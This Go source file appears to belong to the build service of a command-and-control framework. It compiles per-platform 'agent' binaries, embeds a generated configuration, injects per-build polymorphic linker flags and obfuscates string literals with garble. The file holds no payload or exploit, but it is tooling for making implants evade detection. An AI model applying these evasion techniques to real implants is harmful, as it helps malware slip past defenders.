84 lines
2.7 KiB
Go
84 lines
2.7 KiB
Go
package builder
|
|
|
|
import (
|
|
"context"
|
|
"fmt"
|
|
"log"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"strings"
|
|
)
|
|
|
|
// compileGoProjectPlatform runs the Go (or garble) compiler for a specific target.
|
|
// ctx cancellation kills the compiler process immediately — used by the forge cancel API.
|
|
func (h *Handler) compileGoProjectPlatform(ctx context.Context, dir, outputPath, ldflags string, tags []string, obfuscate bool, platform BuildPlatform) ([]byte, error) {
|
|
env := append(os.Environ(),
|
|
"GOOS="+platform.GOOS,
|
|
"GOARCH="+platform.GOARCH,
|
|
"CGO_ENABLED=0",
|
|
)
|
|
|
|
buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
|
|
if len(tags) > 0 {
|
|
buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
|
|
}
|
|
buildArgs = append(buildArgs, ".")
|
|
|
|
// Garble works with any target OS from any host OS; the old windows-only guard was wrong.
|
|
useGarble := obfuscate && h.garblePath != ""
|
|
if obfuscate && !useGarble {
|
|
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
|
|
}
|
|
|
|
var cmd *exec.Cmd
|
|
if useGarble {
|
|
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
|
|
cmd = exec.CommandContext(ctx, h.garblePath, garbleArgs...)
|
|
} else {
|
|
cmd = exec.CommandContext(ctx, h.goBinPath, buildArgs...)
|
|
}
|
|
cmd.Dir = dir
|
|
cmd.Env = env
|
|
|
|
out, err := cmd.CombinedOutput()
|
|
if err != nil {
|
|
if ctx.Err() != nil {
|
|
return out, fmt.Errorf("build cancelled")
|
|
}
|
|
return out, fmt.Errorf("compile failed (%s): %s", platform.Label(), strings.TrimSpace(string(out)))
|
|
}
|
|
return out, nil
|
|
}
|
|
|
|
// compileWorker compiles one agent binary for a single OS/arch target.
|
|
func (h *Handler) compileWorker(ctx context.Context, agentDir, buildDir string, req *BuildRequest, buildID string, platform BuildPlatform, fusionWorker bool) (string, error) {
|
|
name := workerFileName(req.WorkerName, platform, fusionWorker)
|
|
outputPath := filepath.Join(buildDir, platform.Label(), name)
|
|
if err := os.MkdirAll(filepath.Dir(outputPath), 0755); err != nil {
|
|
return "", err
|
|
}
|
|
|
|
configDir := filepath.Join(agentDir, "config")
|
|
if err := os.MkdirAll(configDir, 0755); err != nil {
|
|
return "", err
|
|
}
|
|
if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
|
|
return "", fmt.Errorf("write builtin config: %w", err)
|
|
}
|
|
|
|
ldflags := ldflagsFor(req, platform)
|
|
extra, err := injectPolymorph(agentDir, buildID)
|
|
if err != nil {
|
|
log.Printf("[Forge] polymorph inject: %v", err)
|
|
} else {
|
|
ldflags += extra
|
|
}
|
|
|
|
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
|
if _, err := h.compileGoProjectPlatform(ctx, agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated, platform); err != nil {
|
|
return "", err
|
|
}
|
|
return outputPath, nil
|
|
}
|